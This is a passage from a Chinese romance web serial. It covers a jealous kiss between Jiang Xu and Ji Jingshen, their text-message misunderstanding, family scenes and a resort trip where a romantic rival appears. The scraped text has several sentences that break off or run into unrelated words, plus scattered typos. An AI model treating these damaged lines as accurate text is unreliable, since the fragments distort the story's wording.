只因为,陈家公子准备的那一场盛大告白,无论姜许是否答应,他都不想让她出现在那样的场合里。北安世家圈八卦消息传得快,陈越然还未回国之前,两人之间的绯闻就已经漫天传开。和姜许名字搭在一起的,不应该是陈越然。 莫名其妙的问题,听起来像是吃醋一样。姜许有些愣住,红唇张合一瞬,却让季惊深看得喉咙一紧。 他今晚的确不该喝酒的,哪怕是没有醉,在酒精的作用下,他极力隐藏着的,最为阴暗的一面彻底暴露出来。他甚至可耻地在想,自己循序渐进着想让姜许一点点和自己了解,接触。那先前的那些个男人呢?他们能像自己这样忍得住吗? 他们占了不该占的好处,而他,却始终小心翼翼。 凭什么。 他何必清高地守着什么原则。 “服装上面,我本来就很了解。再说了西装而已,也不是很难脱。” 这是姜许的解释。 听起来太假了。 要是往常,季惊深不会深究,他向来知礼数,不会对对方给的回答刨根问底。可此时,他却执意要个明知故问的答案:“姜许,别撒谎。” “好吧。”姜许抿了抿唇,有些无奈地道:“我上的,我给他借过不少高定。热恋期的时候,基本 “这样啊。”季惊字记住,又问:“为什么分手?” 姜许蹙眉,不太愿意提起过往起,不喜欢了各自分开,她也不感情的好坏。“季惊深,你今晚……” “我没接触过什么女生,唯一一个传言就是赵颜颜,我可以向你保证,不管是以前还是往后,对她我都不会升起半点娃亲,老,都被我拒了。” 季惊深语气很是平静,他缓缓地将西装外套脱下,只着一件衬衫。而那件衬衫也随着他的动作大大敞开着,无数春光乍现。他却丝毫不在意般,只是专注地看着面前的姜许: “姜许,对你,我可以做到完全的坦诚相待。你对我,能不能公平些?” “……”姜许差点没招架得住。所有的猜测在这一刻定了型。 季惊深在吃醋。 偏偏吃醋的反应还那么的,招她喜欢。 “不太合适,就分手了。”姜许一瞬不瞬地盯着面前的男人。 她可真想把这样的季惊深给拍下来。 撕破平时的伪装,微微发疯起来,更别说这会还给她的眼睛带上了福利。 真是,要命的带感。 “其实我对他的感情也不太深。”姜许思索了两秒,还是打算如实告知:“后来他拍戏要和别的女艺人亲热,他选择他的事业,我选择我的自由,所以就分了。” 季惊深微微颔首,语气很淡:“谁追的谁?” ……怎么还问啊。 “没有谁追谁,就是水到渠成就在一起了。” “在一起多久?” “半年多差不多一年?不太记得了。” “他是最长的一任?” 姜许思索了两秒:“应该是。” 眼看季惊深还要问,姜许赶紧转移话题。她是喜欢看这样的季惊深,可也不代表她真想继续回忆过往的感情史。 “季惊深,那些事都过去了,揪着过去吃醋,可不像你。” 那他应该是什么样子? 温和有礼,君子形象? 可那都是假的。 “我不是很想提以前,他们其实都是挺好的男生,不合适就分了,各自安好就行。反正以后——” 猝不及防的一个吻落了下来。 带着淡淡的西柚茉莉的味道。 这是小满楼特制的精酿,也是她最喜欢的一个味道。 唇被季惊深凶狠地咬着,在姜许错楞之际,柔软的舌尖已经探了进来。酒味越发的浓郁了,在这狭小的车内,将暧昧的气氛升至顶峰。 她被迫被季惊深揽进了怀中,双手下意识地抵在胸口前,却忘了男人的衬衫早就被她脱得差不多了。掌下温热的,是属于男人的身体。恍惚间,姜许忘记了抵抗,又或者,她从来没想到抵抗。这本就是她所图的。 季惊深的吻带着不可拒绝的侵略性。 他没想过这样的,只是听姜许口中的—— 挺好。 他不知道姜许是怎么想的,大概是那些段恋爱里,的确给了她很美好的回忆,才会让她有这样的评价。他本该舒一口气,庆幸于他心仪的女生在感情里一直都有被温柔的对待。 可也是这个认知,让他失了控。 比上次那次不君子行为吻得更深,季惊深占据了完全的主导方,掌控着的,在姜许沉沦时,缓缓睁开眼,看着她沉沦在自己面前,那颗躁动不安的心,又一点点地恢复理智。 转而变得温柔起来,再一次慢慢地攻略城池。 车子不知道什么时候已经停下。前头的司机一句“到了”,姜许才从这个绵长的吻中抽离。 “季惊深,我到家了。”姜许的话语含糊不清。 季惊深缓缓地放开她:“吻得你不舒服了?” “……没有。”姜许沉默,不明白怎么这样的问题能被他如此冷静地问出来。 “那就好。”季惊深还是担心的,怕自己失控后做出来的举动,会让姜许留下不好的回忆。 那他,可真的是会疯。 “季惊深,你……”姜许无力地撑着自己的身体:“是真的喝醉了?” “嗯。”季惊深说:“姜许,我喝醉了。” 骗人的吧…… 可,不喝醉的他,也不会这么疯狂。 “明天醒来,你会不记得吗?”姜许问他。 季惊深没回答,在认真地思考这个问题。 “不许不记得。”姜许勾着季惊深敞开的领口。细软的长发扫过他的下巴,那股酥麻的感觉还没适应,脖颈间便是一阵痛感。 “留个印子,明天醒来你自己好好回忆。” …… 凌晨两点,辗转反侧没睡的姜许,在点外卖时,正巧遇到了回来的姜祁州。 后者风尘仆仆,扫了一眼她春光满面的样子,嗓音疲倦:“你今晚是吃了几个季惊深补成这样?” “微吃,吃的不多。”姜许侧身,让出了一条道:“我特地点的双人份,一起吃?” 姜祁州换了鞋进来。 姜许把一份外卖递给他:“勤奋归勤奋,你可别把自己累死了。我就你一个哥,你要累倒了以后谁养我?” 姜祁州督她一眼:“放心,我留了一笔钱,足够你衣食无忧下半辈子。” 姜许一愣,在眼底那抹水光溢出来前,很快地移开了视线:“我想去巴黎了。姜祁州,你回头抽空陪我去?” 姜祁州问:“江小满他们没空?” “我想和我哥一起去。” “可我并不想和你去。” “姜祁州!” 姜许咋咋呼呼地想要揍人,却又被姜祁州猛地抱住。清冽的怀抱,还带着几分凉意。 “姜许,我这把年纪了,不需要你一个小姑娘来安慰。” 话落,姜祁州很快松开,又恢复如常:“下周你在城南那边的度假村有拍摄?” 姜许吃着夜宵,随口应了一句:“对,和柒渔的秦知瑶。” “到时候你跟我的车一起过去。” “嗯?” “俞明礼组织的,说是慰问我二次失恋。顺便,那后头有个很大的钓场,他也许久没去钓鱼了,正好借此放松一下。” 姜许想问季惊深去不去,又担心伤害到姜祁州,只能忍下:“好。”- 次日。季惊深醒得很早。 照例的健身看新闻吃早餐,到逸安时,便是马不停蹄地处理各种文件,开会。和往常没什么不一样,却又好像有些不一样。 反正,这个不一样方厌是一眼瞧出来了。 “你被狗咬了啊?” 方厌盯着季惊深脖颈处的咬痕,衣领遮挡不了多少,一眼就能看得出来。 话落,方厌察觉到男人的黑眸略带警告地督了他一眼,他立马了然一笑:“开玩笑的,你家天仙咬的?不是,你做什么人神共愤的事了,咬得这么狠?” 可不嘛,季惊深皮肤本来就白,这些年被季家养得身子那叫一个金贵。哪怕姜许明明也没有用狠劲,可是留下来的印子却有几分触目惊心,看着有些狠。 “也没什么。”季惊深合上一份文件,端起一旁的咖啡,语调平缓:“没经过她的允许,吻了她。” 方厌:“……” 他有那么一瞬间怀疑自己听错了。 季惊深主动吻别人? 他妈的,不应该是别人强吻他他再冷着脸拒绝吗? 当年担心这人有阴影,他送了多少美女上前,他看都不看一眼,整得他都担心这人哪天会出家当和尚。合着不是性取向不合适,而是人不合适。 方厌忍不住翻个白眼,懒散地往沙发上一靠:“我真是多余担心你。” 谁吃谁还不一定。 不对。 季惊深吃定姜许了。 “所以,你今天来这里做什么?”季惊深放下杯子,轻轻别了别袖口处。 姜许送的手表,的确很适合他,无论是从款式还是其他。 “替我哥跑个腿,送了个文件,顺便来问问你。”方厌往咖啡里加着糖,继续道:“下周我哥他们组团去度个假,你回来之后也没怎么休息,一起去呗?” 季惊深抬眸:“去几天?” “三四天吧。” 季惊深看了一眼行程,眉头微微蹙起:“再看看,时间不一定赶得上。” “行。”方厌点头,又看了眼季惊深,忍不住道:“你那手表有什么好看的,盯着上面能有钱?” “别人送的。” “……”明白了。 “我应该回礼。”季惊深语气淡淡,停顿两秒,又问:“你有什么好的建议?” 方厌“呵呵”冷笑:“把自己脱光,送到你家天仙面前。” “昨晚做过了。” 没想到姜许的担子并不是很大,他还以为,会有更过分的事。 方厌:“……我真服了。” 季惊深看他。 方厌:“你等着,我去找个大师,给你驱驱邪!” 30-40 第31章 第31章【VIP】 这样堂而皇之的调侃带着赤裸裸的嫌弃,季惊深面上不显过多的情绪,只是淡淡地回应一句:“是该驱驱邪了,你那酒吧一个月被人砸了五次,回头找大师算算,是不是风水不对。” 季惊深向来是不信这种的,在英国待了那么多年,神鬼之说对他而言就是虚无缥缈的。只是季家信奉风水,做生意的,老一辈的思想传统也是这样。 “小问题罢了,砸了正好,重新装修。”方厌倒是不在意,毕竟是开酒吧的,招待的又是不少圈子里的少爷。这不,喝上头吵架两句,就动起手来。 办公室的门被人敲响,季惊深轻阖着眼:“进来。” 胡泽推门进来,手里还拿着一个盒子:“季总,这是赵小姐昨晚送您的礼物,您给落在小满楼了。” 季惊深抬眼看过去。 不是故意落的,他没打算收这份礼物。 若是送些钢笔,名酒之类的,看在两家要合作的份上,这个礼数季惊深怎么也得做足。偏偏赵颜颜送的是腕扣,贴身,又略显越了普通合作关系这条线的礼物,那他这个面子,自然是给不了。 “退回去。”季惊深道。 胡泽应下,脸上多了一丝难以言说的尴尬:“季总,今天公司里关于您的事……”他的话微微顿住,目光飘忽定格在季惊深*那处显眼的痕迹上,继续道:“要处理吗?” “先不用管。”季惊深轻敲桌面,正了几分脸色:“和京航银行那边打个招呼,争取尽早定下合作。” “是。”胡泽应声离开。 季惊深划开手机,找到置顶的头像。对话框依旧显示在半个小时前,他发给姜许的那句话上。 没有任何回复。 其实姜许不用留下印子,他对于昨晚的记忆也是清清楚楚的。娇软在怀的身体,一发不可控制的吻—— 入夏的天气实在是太过于燥热,以至于回去的路上,一路开车窗,任由外面的凉凉微风吹进来,却也压不住抬头的欲念。 “等你家天仙回你消息呢?”方厌调侃了一句,对上季惊深不悦的眼神,他立马道:“你能再明显一点吗?盯着个手机,不等她的消息难不成等微信版本更新?” 其实倒也不是很明显。 季惊深这人脸上丝毫情绪不显,可毕竟是认识那么多年。那手机能有什么好看的,除了等那位的消息,还有第二种可能吗? “没回你啊?”方厌恶趣味的心思上来了,摸着下巴,点火浇油地补上了一句:“哎哟,不会是变心了吧?原本以为自己喜欢的人清风霁月的,清冷贵公子。结果呢,私底下居然这么……啧啧啧。这叫什么,货不对板,没准这会已经后悔……” 后面的话尽数被季惊深的眼神扼杀在喉咙里。方厌还是头一次看到他望向自己的眼神里,带着如此明显的冷意。 “你完了。季惊深。” 无药可救了。 没关系。 季惊深望着手机那一小块红色的头像,眸色渐深。 反正,他心甘情愿。 姜许倒也不是故意不回消息。 在睡醒的第二天,她就被圈子里的一个前辈拉过去紧急救场。当年入圈的时候,这位前辈对她多加招呼,被全网质疑作品的时候,也是这位前辈替她说话澄清。所以人情得还,姜许只得暂推手头的一些事,前去救场。 偏偏拍摄地方还在山里,信号不好。等到结束拍摄,坐上姜祁州的车时,压了几天的消息才一起涌了进来。 “想吃什么?”姜祁州看了她一眼,最近正好给自己休个小假,事情不多。加上明天就是和俞明礼他们约好去度假村的日子,所以今天时间格外的充裕。 “都可以,你定吧。”姜许忙着回消息,先是在三人群里报了平安,又刷了两下,一个熟悉的头像在两秒前发了消息,正好冲到了最顶上。 季惊深:【昨晚的事,我没忘。】 这条消息是在四天前的中午,那个时候姜许已经在山沟沟里面了。更糟糕的是,由于是临时赴任,所以收拾东西加处理工作的事,前前后后只用了两个小时。甚至在来的路上,姜许还在交接工作。 在信号消失的前一秒,她给季惊深发去了信息,表明她要失联几天。 结果,压根就没发出去。 以至于—— 这是三天前。 季惊深:【抱歉,以后不会不经你的允许,做出这样的事。】 这是两天前。 季惊深:【姜小姐,对于那晚的事,我深感歉意,如果你很反感,我 这是一天前。 直到刚刚—— ,今晚一起吃个饭?】 不太方便…… ,人家大老远地过来接她,她也不能见色忘哥吧。 姜许:【今晚不行。】 思索两秒,她又赶紧发了条语音过去:“我这几天在山里拍摄,看不了手机。” 话落,微妙的眼神落在自己身上。姜许大大方方地回望过去:“看什么?” 姜祁州:“看你能不矜持到什么程度。” “矜持能当饭吃吗?” 姜祁州懒得和她辩解。本想嘱咐几句女孩子要保护好自己,不过转念一想,既然对方是季惊深,这话倒是显得有些多余了。 怎么看,姜许都不会吃亏。 语音发过去的一分钟后,姜许收到了季惊深的回复:【好,你先忙。】 她盯着这条消息,隐隐察觉到有几分怪异的感觉,可不等她深究,唐渺渺的电话打了进来。对接着后续工作的事,还有明天秦知瑶的安排。 “临时加一组拍摄?”姜许蹙眉,有些烦躁。明天就要拍摄了,这会临时加妆造,他们这边人力成本各种先不提,同样的价钱多加一个工作,谁都不会乐意。 “对。”唐渺渺道:“那边要求加一组偏性感风拍摄,还要求我们这边的男工作人员回避。时间太赶了,人手也腾不出来。” “我先和那边沟通一下。”姜许挂断电话,又翻出赵姐的联系方式。 电话在快要挂断的时候被接通了,语气算不上客气,但也不至于很差:“姜小姐,你们那边安排得怎么样了?我知道这个临时加拍摄是有些为难了,但这也是双赢的合作。要是我们瑶瑶这组照片拍得好了,就凭瑶瑶现在的咖位,给姜小姐带去的好处,应该不用我说了吧?” “知道为难,那就别加。”姜许半是开玩笑半是认真地道:“赵姐,你觉得我还需要什么好处吗?再说,秦知瑶也不适合性感风,回头拍得不好,我平白多工作又砸招牌,得不偿失。“ 赵姐沉默了一会,姜许听到那头秦知瑶的声音刚刚冒了个头,又被赵姐呵斥下去:“你懂娱乐圈还是我懂娱乐圈?姜小姐,我们各退一步,性感风拍摄我们是一定要拍的,就把原来的第二套给取消好了。” “还是明天到地方了再说吧。” 挂断电话,姜许继续在工作群里核对着度假村的安排。秦知瑶已经给她发来了长篇大论,道歉的话语占了大半,最后还附带一个跪下来的表情包。姜许回了个摸摸头表情,这才熄灭手机。 姜祁州静静等着她处理完,才道:“秦知瑶不好伺候,以后有关于她的合作大可以推了。我是打算和柒渔交好,给季总和季小姐一个面子,可也不至于这样委屈你。” “不至于委屈。再说,也不是秦知瑶的问题。”姜许抬起头,笑道:“秦知瑶人挺好的,不过她那个经纪人倒是够呛。没办法,娱乐圈嘛,身不由己。” 这话题有些敏感。姜祁州沉默了几瞬,忽得失笑一声:“是啊,这些个小姑娘,总是身不由己的多。” 姜许看他一眼,终究是什么都没说- 夜晚八点,季惊深在老宅用过晚膳,外面已经是黑夜。他今晚没打算回别院,回国后住在老宅的次数屈指可数,而今晚老爷子对于他和姜许的事情,稍稍松了口,他自然是得留下来住上两晚,给足老爷子面子。 只是—— 季惊深双眸微垂,手机时不时跳进几条消息,反复点开,却没有一条是姜许的。 “表里不一,把人家给吓着了。万一人家只喜欢那个装作温和的你,在见识到你的真实面目后,退缩了呢?” 他知道这是方厌无意间说出口打趣的话,却偏偏好,恰是他的死穴。 “哇靠,季安喻,你能不能放点水!”季惊扬咋咋呼呼的,在和季安喻下着国际象棋,却因棋艺不佳,连连败退,已经把自己宝贝的游戏机和玩了好几年的账号都给输了出去。 “不行不行,有本事你和我玩别的!” 声音越来越大声,吵得季惊深不自觉地沉了几分眸子:“惊扬,太吵了。” 季惊扬回过神来,小声地道:“好的哥,我尽量安静。” 安静不了一点。 嬉笑的交谈声,季安棠和他父亲的看着电视的声音,都扰得季惊深心烦意乱。 他起身上了书房,房间里窗帘被遮挡得严严实实的,投不出半分光亮。他没有开大灯,只在书桌开了一盏暖色的台灯。 桌面被收拾得整整齐齐,左上角放着一张他们少时一家三口的照片。季惊深安安静静地看着,侧脸投下台灯的暖光,眉眼却无半点情绪。 像是冬日的山谷一般,平静,而又高不可攀。 静默良久,季惊深终是点开那个熟悉的头像。手指点在了对话框处,却许久没有动作。 直到—— 姜许的语音电话打了过来。 接起,那头是姜许欢快的声音:“我刚吃饱饭,越想越不对劲。季惊深,你是不是误会什么了?” 他也不清楚,是不是一个误会。 “什么?” “就是,那晚的事,我没生气,也没有不喜欢。”姜许站在车旁,远远看着姜祁州在和一个中年男人交谈着生意场上的事情,闲散地踢着脚边的石子。 工作上的事情实在是太多,刚才一直忙着,直到吃饭的空挡,才有空细想起季惊深的不对劲。那几条消息都很短,反复看了好几遍,她才后知后觉地意识到,季惊深误会她介意那晚的事情。加上几天的失联,这误会一点点扩大,也不知道这会都演变成什么样了。 “嗯。”依旧是平淡不已的嗓音。 姜许这会是真的拿捏不准了,一只手搭在车身上,在干净的车窗上写着季惊深的名字:“所以季惊深,你喜欢吗?” “什么?” “喜欢那晚的吻。” “那你呢,姜许。” “喜欢啊。”姜许大大方方地承认:“季惊深,下次,我能更过分一点吗?” 还会有下次吗,在他们确定关系之前。 季惊深不确定,黑眸浮浮沉沉的,握着手机的骨节使了几分力。 方厌说得很对,他远没有姜许看到得那么好。那晚,甚至已经是在收敛。再有下次,他或许会比姜许更先疯狂。到那时,姜许此刻对他的喜欢,还会作数吗? “姜许。”季惊深的声音很沉:“我说过,我是个正常的男人。不是每一次,都能克制住。” “我好像,也没让你克制吧?”姜许语气染笑,又换了个姿势靠在车边,抬眼看着远处的霓虹:“忘记告诉你了,我有个小爱好。” “我就喜欢看你这样的男人,跌落神坛,为我如痴如醉。” “……” 已经是了。 电话被骤然挂断,姜许的消息发了过来。 姜许:【姜祁州在身边,不方便。】 姜许:【上次的是奖励对吗?那季惊深,我再努力追你,对你好一点。下次奖励,我希望在你家拿到。】 “……” 耳根染上生理反应的红,墨色的眸子却是与之相反的占有和疯狂。 这奖励,明明是给他的- 又输了一场,季惊扬差点就把裤衩都给输完了。 心如死灰地靠在椅子上,正准备求饶认输时,上楼许久的季惊深又复而朝他走来:“输了多少?” 季惊扬:“……就没赢过。” 季惊深微微颔首:“那就再来一局,我替你。” 季安喻顿时尖叫起来:“大哥你偏心!” 季惊深看她一眼:“去年在英国,我没帮你赢回你的那些小卡?” 季安喻不吭声了,是赢回来了,为了帮她赢回那些小卡,季惊深和她的那些狐朋狗友玩了一下午呢。她撇了撇嘴,委委屈屈地准备迎接接下来的风暴。 季惊扬直接一个鲤鱼打挺,又来精神了。不过,倒是忍不住多看了两眼自家大哥。从晚饭开始,他就感觉到了,自家大哥心情不佳,虽然面上不显,但眼里总是浮现两分燥色。结果这才上楼坐了一会,心情就好了? 季惊扬懂事的不多问,只是在季惊深替他赢回游戏账号后,大夸特夸之后,加上了一句:“哥,你这手表也好看,衬得你人更帅了。” “嗯,姜许送的。” “……”啊,他问了? “再来一局。”季惊深淡淡地道:“那款限量版的游戏机,安喻,惊扬很喜欢。” 季安喻:“……” 季惊扬立马上道:“哥,你帅得和姜许姐绝对是绝配!不对,我下次直接喊她嫂子好了!” 季安喻:“季惊扬你丫的,跟狗腿一样!” 季惊扬:“你好意思说,当初要不是你撒娇让大哥教你,你的水平和我还不是半斤八两!” 季安喻:“我就是瞧不起你!” “说得好像我瞧得起你一样。” “……” 这边吵吵闹闹的声音自然是入了季澜之的耳中,他蹙眉看着,端起面前的一杯茶,眉头紧锁。 “真是昏了头了。”季澜之暗骂一声:“北安世家千金那么多,偏偏选那一位。” 季安棠见状道:“大哥喜欢就由着他去好了。” “由着他?现在喜欢有什么用?你们还年轻不懂事,感情只是一时兴起的情绪,过几年就不会再有。要是成婚,还是得选一个适合季家,适合逸安的千金。” 季安棠静默两秒,季澜之是她长辈,她不好多说什么,只是,有些话她想说许久了。 “大伯,大哥这些年来,喜欢的东西从没有得到过。这次,随着他的心意一次不好吗?” 季澜之良久的沉默,终是没有接话- 隔日。 季惊深在傍晚才出发往度假村。他这次腾出来的时间也只有两天,还是因为逸安前不久提出的一个项目过来视察。 往南郊区开去,路面骤然变窄,左右只剩下一条道。靠近国道和高速的交接处,一辆红色惹眼的法拉利打着双闪停在路边。 靠着车边的女生穿着大蓝的衣服,满脸烦躁地打着电话。 “停车。”季惊深淡淡开口,车子在俞晓染后头一米处停下。他缓缓按下车窗,语气温浅:“俞小姐的车子是抛锚了?” 俞晓染这会正在跟俞明礼大骂自己出门不看黄历,半路抛锚,还在一个前不着村后不着店的地方,结果就听到了熟悉不已的声音。 抬眼看去,她激动得手都在颤抖:“季总,帮个忙!” 十分钟后。 季惊深按了按眉眼,前头俞晓染的声音从上车开始,就呱噪个没完。 聊不完的八卦,光是自己车子抛锚这件事,就跟六七个人打了电话用不同的情绪哭诉了一遍。 他本意是想着到底是俞明礼的妹妹,路上遇到了也不能不管,顺路一起过去的小事罢了。却没想到,她能够如此的聒噪。 “什么,定了黎江青做男主?!” 骤然拔高的嗓音,像是要把车顶给掀了一样。 季惊深隐忍地握着咖啡杯,缓缓地喝了一口,正欲将挡板升起来,又听到俞晓染宛如机关枪一样的声音。 “废话,我能不激动吗!姜许要给这部剧拍摄宣传照!” “特么的,我都不敢想,姜许帮自己前男友和秦知瑶拍摄是什么画面!” “绝对精彩,我绝对不能错过!” 第32章 第32章【VIP】 俞晓染上头的情绪在说完这句话后,迟钝地意识到了不对劲。 今天要去度假村,她是开车去的。这会没开车,哦,对,是坐了季惊深的车—— 季惊深!!! 她迟钝的脑子总算是后知后觉地意识到了自己在哪,连解释都来不及解释,她飞快地挂断了电话。小心翼翼的,往后面探去了一个脑袋,讪笑着:“那什么,季总,刚才我说的话,你没听到吧?” 季惊深闻言,微微敛了敛眸色,语气客气而又疏离:“抱歉,还未来得及升起挡板,俞小姐要是介意,我会当做没听到。” “……”这不是她介不介意的问题,是你介不介意的问题啊! 她要是把这件事给搅黄了,自己下注的几百万泡汤了就不说了,姜许那死女人,绝对会拎着十八米的大砍刀弄死她的! 一想到姜许生气的画面,俞晓染就忍不住打了个寒颤,赶紧找补:“我刚才就是乱说的,我这人嘴碎,其实姜许和她前任早几百年前就没感情了。工作是工作,拍完大家生活依旧照旧,绝对不可能有什么旧情复燃的可能!” 他知道。 他也不会允许有这种可能的存在。 “嗯。” 太冷淡了吧……这是往心里去了还是不在乎? 俞晓染越想越觉得心里毛毛的,没话找话聊:“季总,你这次待几天?” “后天就回去。” “挺,挺忙哈。”俞晓染尬笑,又说:“这边挺好玩的,我还听说前段时问请来了一个专门做甜品的厨师,厨艺一绝。尤其是那个什么招牌甜品,叫什么月光?还是限量的,等到了地方,季总可以尝尝。” 季惊深微微颔首:“好,多谢俞小姐的建议。” 倒也不用…… 俞晓染这下是真佩服姜许,平时他们都这么聊天的吗,这三句话就聊死了啊! “季总。”俞晓染咬咬牙,做着最后的弥补:“姜许真的特喜欢你,我第一次见到她对一个男人这么上心!” 季惊深稍顿:“比如?” 有个屁的比如! 姜许那嘴巴跟粘了502一样,她撬不开半点! “就,就日思夜想的,平时还经常和我叨叨着说季总多么多么好,她得好好珍惜。” “这样啊。”季惊深点头,将咖啡搁置一旁:“俞小姐,我先升起挡板,路途还有半个小时,你随意。” 俞晓染:“……好。” 这下耳朵算是清净了。 季惊深微微阖上眼。 他的记性一向很好。 黎江青。 如果他没记错的话,是现下当红的男艺人。流量粉丝呼声很高,前不久还提名了不少奖项。 只不过他从柒渔离开后,对于娱乐圈的事就不怎么关心,再多的信息,他也不得而为知了- 到达地方后,俞晓染总算是松了口气,远远地看到俞明礼后,立马打开了车门。 她第一次觉得俞明礼这么顺眼。 “这么热情呢?”俞明礼好笑地接住自己的妹妹,朝季惊深道谢:“季总,麻烦你了。” “顺路,倒也算不上麻烦。”季惊深温声回应,视线轻移,眉头微不可闻地轻蹙。 赵颜颜今日裹了件深紫色的长裙,头发高高盘起,对上季惊深的视线时,露出一个温柔的笑:“是俞总邀请我来的,季总,你不会介意吧?” “不会,赵小姐难得来北安一次,工作之余好好放松也是应该的。”回应她的,只有公事公办一般的客套。 赵颜颜眼里有着几分失落,却又很快道:“季总,你的房问在这边,和我隔着不远,我送你过去。” 季惊深早已经收回视线,语气是一派的疏离冷淡:“不劳烦赵小姐。” “没关系,顺路嘛。” 随着两人走远了两步,俞晓染瞪眼看着身侧的俞明礼:“你想死能不能别拖上我!” 姜许发疯起来是真的要命! 俞明礼哀嚎一声:“我可真是冤枉!这不是前两天偶遇到了,她问我下周有没有空,我就说要来度假,然后她问有没有季惊深,我总不能说谎吧?” 回答之后,赵颜颜便轻叹了一声:“度假村啊,肯定很好玩,不知道我能不能一起去?” 话都递到这个份上了,他还想和边野合作呢,能说一个不字吗? “烦死你开俞明礼:“离我远点,我现在看你超级不顺眼!” 俞明礼:“……” 不是,他真冤啊!- 姜许今天忙碌了一天。 和姜祁州这帮慢慢一样,她又是五点起,碍于今天的光线不是很好,拍摄起来并不顺利。更别提,。 “不是说了只会显得我们家瑶瑶脸很大的。姜许,我们家瑶瑶准备进组了, 姜许被念叨得一天了,耳朵都快起茧。五点忙到现在,一天的疲倦让她这会满是低气压,索性直接把手中的相机递了过去,凉薄地冷笑一声:“你这么能耐,自己来?” “一行干一行的事,你要是对我的摄影技术这么不相信的话,以后我们可以不合作,也省得彼此不痛快。”姜许收拾好东西,回头看着同样疲惫的几人:“回去好好休息。” 拿上自己的包,姜许一抬眼就看到了在远处等了有一会的俞晓染。见她忙完,直接窜到她身边:“我下午车抛锚了。” “哦。”姜许并不关心,反正人还活蹦乱跳的在自己跟前。 “我是坐季惊深的车过来的。” 姜许有了反应,转头看向俞晓染,她立马道:“你放心,姐妹的男人我绝对保持距离!他坐后面我坐副驾来着!而且我还帮你打听到,他后天就回去了,才待两天呢,你要把握好机会。生计用品买了吗?我看这里的质量可能不怎么好,实在不行你凑合用。” 她和季惊深距离那步还有万米长征。不过——姜许眼神狐疑:“你在车上也是这么烦人?” 难为季惊深了,没半路把人给赶下去。 “我这叫烦人?我这明明是活泼开朗可爱好不好!”俞晓染很是不服,力证自己的形象:“开心果你懂吗,别人想听我叽叽喳喳我还懒得搭理他们呢!” 姜许扯了扯嘴角:“那可真是我的荣幸。” “你知道就好。”俞晓染得意地撅起嘴角,轻咳一声:“那什么。” 姜许:“?” “你情敌好像来了,还跟季惊深住在隔壁。” “……”姜许真想一榔锤砸过去:“麻烦这种重要的事情以后先说!” “那,那我不是忘记了嘛。”俞晓染撇了撇嘴,又补了一句:“你要给秦知瑶和黎江青拍摄的事情知道了吗?” “今早刚知道的。”姜祁州还贴心地问她要不要违约,反正不差钱,也不在乎这点。但是姜许觉得没必要,工作归工作。 “哦。我在车上的时候听到这个八卦,声音有点大,季惊深也听到了。” “……你这两天最好避着我点,不然我把你丢进海里喂鱼!” 一路赶回去,姜许绕了一圈都没看到季惊深。微信上询问了一下,才得知在回房放好行李之后,季惊深便被俞明礼他们拉去后面的水库鱼塘处垂钓,约摸着回来也是和俞明礼一伙用晚饭。 “姜小姐,一起吃个饭呗。”赵姐的声音从大厅传来,含笑的眼里藏着几分不屑:“明天拍摄的事情,我们再好好商讨一下。” 今天拍摄匆忙,赵姐好几次想提起风格转改的事,都被姜许给打岔过去。这都一天了,她心里正憋着火呢。 “行啊。”姜许懒懒地笑了笑:“赵姐请客自然是要给面子的。不过我也不吃独食,稍等一会,我把何月他们一起喊过来。”- 天色渐暗。 季惊深一行人满载而归,这边的鱼塘靠近水库,自然生态不错。就连季惊深这个初钓者,也上了两条鲤鱼。 回到山庄内,俞明礼订了一个大的雅问。这次来的人不少,毕竟是度假,热闹才好些。只是唯一尴尬的是,赵颜颜的出现。本就不相识,更别提和季惊深之前的那档子事。 可偏偏她跟个没事人一样,含笑着和他们聊着项目上的事。 “人一直看着你呢。”方厌坐在季惊深左边,一副不嫌事大的表情,冲他挤眉弄眼。 季惊深扫他一眼:“你那酒吧要是真不想开了,大可以直说。” “得,怪我多事。”方厌嫌他无趣,又转头和方浔聊着家常。 “季总。”赵颜颜又换了一套日常服,更显韵味:“我听说这里的温泉也很不错,方总他们明天依旧是垂钓,我瞧着季总不太有兴趣的样子。方便的话,不如一起……” “赵小姐看错了。”季惊深温声打断她:“我对垂钓,还挺感兴趣的。” “那我明天也一起吧。”赵颜颜笑了笑:“不过我可真是一窍不通,明天得劳烦季总做一回我的老师了。” “一窍不通还去什么去。”俞晓染无语地嘀咕了一声,对上赵颜颜的视线后,她翻了个白眼:“钓的是鱼还是凯子。” “晓染!”俞明礼低声呵斥了一句,警告地看她一眼:“一点礼数都不懂,还不赶紧道歉!” “我……”俞晓染只觉得委屈。 赵颜颜倒也不在意,落落大方地笑了笑:“没关系,我对季总的兴趣的确比钓鱼更大,俞小姐也没说错。” 俞晓染:“……” 她低头给姜许打着小报告:【死女人,有人公开觊觎你家季总!】 “哎呀,好了好了,吃饭,难得一聚,赶紧吃饭。”方浔出来打圆场,见服务生正好进来,笑着帮忙把精致的点心给端到桌上:“俞家妹妹,你多吃点,听你哥说,你最馋甜品了。” 上的是七人份的“月光”。季惊深看了一眼,也总算明白为何会如此出名。不过巴掌大的点心,却做得极其精致。底座裹了一层薄如蝉翼的巧克力镜面,云朵的外形,隐隐还能嗅到一些清甜果酒的香味。 手机振动着,季惊深淡淡道了一句“先失陪”,便走向了包厢的阳台。 是季澜之的电话,先是问了他在这边玩得如何,他一一回答之后,那头才道:“你母亲让我问你,想要什么礼物。” 季母张素琴两年前就被调任到法国,最近刚得了一个月的假期,下个月回北安。 “没有什么特别的,让她老看着选就好。”季惊深从五楼往下看去,四下寂静,偶有微风吹过树梢。 “那就别要了吧。你母亲难得回来一次,前几天列了清单,备了不少东西,太过折腾。惊深你也不缺,真缺什么的话,回头我给你添置。” 季惊深静默两秒:“好。” 挂断电话,季惊深回到包厢里。 俞家兄妹又吵成了一团。 俞明礼:“俞晓染你是猪吗,这么能吃你也不怕胖死!” 俞晓染反驳:“还不是方浔哥让我吃的,我一时没忍住!” 俞明礼头疼不已,眼神满含抱歉地看向重新落座的季惊深:“季总,原本这点了一人一份的甜品想让你们都尝尝,结果晓染这丫头一人吃了三份,要不我再让厨房准备一份?” “没关系。”季惊深神色平静,淡淡地扫了一眼空了的盘子,温声道:“俞小姐既然喜欢,吃了便吃了。” 俞晓染嘟囔一句:“我就说了嘛,季总哪会在乎这种,他肯定也不爱吃的,你都快掐死我了!” “回头你一个月不出门,学学规矩!” “俞明礼!” 姜祁州侧目看过去,男人似是有几分疲倦,清冷的眉眼淡漠地垂了下来。手机那头的姜许还在打探着情报,他无奈:【饭局还没散,不过你可以问问。】 他瞧着,季惊深也并不想继续待下去。 